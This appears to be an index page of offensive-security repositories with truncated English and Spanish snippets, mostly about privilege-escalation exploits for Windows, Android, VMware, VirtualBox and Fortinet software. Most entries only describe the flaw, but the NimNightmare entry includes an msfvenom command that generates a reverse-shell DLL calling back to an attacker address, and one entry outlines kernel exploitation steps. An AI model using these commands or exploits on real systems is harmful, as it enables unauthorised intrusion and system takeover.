reconerator

Overview This is a custom .NET assembly which will perform a number of situational awareness activities. There are a number of current featuresets: BASIC - Obtains information from the disk and registry. LDAP - Allows customised AD LDAP queries to be made. RESOLVEHOST - Performs DNS lookup querie...

ACEshark

ACEshark What is it? ACEshark is a utility designed for rapid extraction and analysis of Windows service configurations and Access Control Entries, eliminating the need for tools like accesschk.exe or other non-native binaries. Why? Efficiently identify and analyze service permissions to uncover...

CVE-2024-44193

Hackeando Windows a través de iTunes - Escalada de Privilegios Local 0-day Presentando CVE-2024–44193 Este es un informe sobre CVE-2024–44193, un exploit de Escalada de Privilegios Local en iTunes versión 12.13.2.3. Fue parcheado el 12 de septiembre de 2024 por Apple. Enlace al aviso de seguridad...

CVE-2024-37081

CVE-2024-37081: Multiple Local Privilege Escalation in VMware vCenter Server The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo. An authenticated local user with non-administrative privileges may exploit these issues to elevate privileg...

CVE-2023-26269

CVE-2023-26269: Misconfigured JMX in Apache James By default Apache James opens a JMXRMI service that listens on localhost, port 9999. Because the JMX is misconfigured to allow unauthenticated access, an attacker that has local access to the machine running James can use a “MLet attack” in order ...

CVE-2022-20818

CVE-2022-20818: Local Privilege Escalation via Partial File Read in Cisco SD-WAN The “config - load” feature from Viptela SSH shell uses “wget” to fetch remote “command” files over FTP. By hosting a malicious FTP server and replacing the local files created by wget with symlinks, an attacker can...

cve-2024-0044

CVE-2024-0044 CVE-2024-0044 permite realizar un ataque "run-as", que resulta en una escalada local de privilegios. Esto permite a un atacante acceder a archivos privados almacenados localmente por cualquier aplicación en el dispositivo móvil, comprometiendo las garantías de seguridad proporcionad...

CVE-2020-1337-exploit

CVE-2020-1337 Windows Privilege Escalation this is a WWWwrite-what-where exploit credit Junyu Zhou @md5salt, who told me there could be a new bug. Wenxu Wu @ma7h1as, I find the bug and write this exploit. how it works in the patch of CVE-2020-1048, Microsoft add the validation code of portname on...

CVE-2024-21111

CVE-2024-21111 Oracle VirtualBox Prior to 7.0.16 is vulnerable to Local Privilege Escalation via Symbolic Link Following leading to Arbitrary File Delete and Arbitrary File Move. VirtualBox attempts to move log files as NT AUTHORITY\SYSTEM in C:\ProgramData\VirtualBox which all users can write to...

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...

CVE-2018-17182

CVE-2018-17182 Vulnerabilidad de escalada de privilegios VMA-UAF del kernel de Linux CVE-2018-17182 Acerca de Los investigadores de seguridad de Google Project Zero publicaron los detalles y un exploit de prueba de concepto PoC para una vulnerabilidad de alta gravedad presente en el kernel de Lin...

CVE-2023-36424

Information ============== Windows Kernel Pool clfs.sys Corruption Privilege Escalation. CVE-2023-36424 This repo contains technical analysis & working exploit. Author: Nassim Asrir @p1k4l4 || https://www.linkedin.com/in/nassim-asrir-b73a57122/ Vulnerability ================ There is a pool...

CVE-2023-36723

CVE-2023-36723 Este es un PoC para el bug de creación arbitraria de directorios en el servicio Container Manager. Este PoC no se ha probado a fondo, por lo que es posible que no funcione la mayor parte del tiempo fue suficiente para que msrc confirmara la vulnerabilidad. Para explotar esta...

EUVD-2026-72925

A improper access control vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.6, FortiSOAR PaaS 7.5.0 through 7.5.3, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.6, FortiSOAR on-premise 7.5.0 through 7.5.3, FortiSOAR on-premise 7....

CVE-2026-84385

A improper access control vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.6, FortiSOAR PaaS 7.5.0 through 7.5.3, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.6, FortiSOAR on-premise 7.5.0 through 7.5.3, FortiSOAR on-premise 7....

CVE-2026-84385

Fortinet FortiSOAR (both PaaS and on-premise ) is affected by an improper access control vulnerability spanning versions 7.3 through 7.6.6 (all 7.3 and 7.4 versions; 7.5.0–7.5.3; 7.6.0–7.6.6). The flaw may allow an attacker with low privileges to achieve privilege escalation over the network with...

Priv2Admin

La idea es "traducir" los privilegios del sistema operativo Windows a una ruta que lleve a: 1. administrador, 2. amenaza de integridad y/o confidencialidad, 3. amenaza de disponibilidad, 4. solo un desastre. Los privilegios se enumeran y explican en:...

cve_2024_0044

CVE 2024 0044 CVE-2024-0044, identificada en la función createSessionInternal del archivo PackageInstallerService.java, es una vulnerabilidad de alta gravedad que afecta a Android versiones 12 y 13. Esta vulnerabilidad permite a un atacante realizar un ataque «run-as any app», lo que conduce a un...

CVE-2026-46552

CVE-2026-46552 Los enlaces de base compartida de NocoDB podrían invitar a miembros reales de la base y sobrevivir a la revocación del enlace Introducción Encontré este problema al revisar NocoDB con una simple pregunta de seguridad en mente: ¿Puede un enlace público de base compartida cruzar el...

Eneio64-LPE

Abre un manejador al controlador vulnerable 2. Mapea la memoria física al espacio de usuario 3. Abre un manejador al proceso System 4. Consulta la tabla SystemHandleInformation del proceso actual para obtener el manejador del sistema filtrado, filtrando su dirección EPROCESS. 5. Recorre los...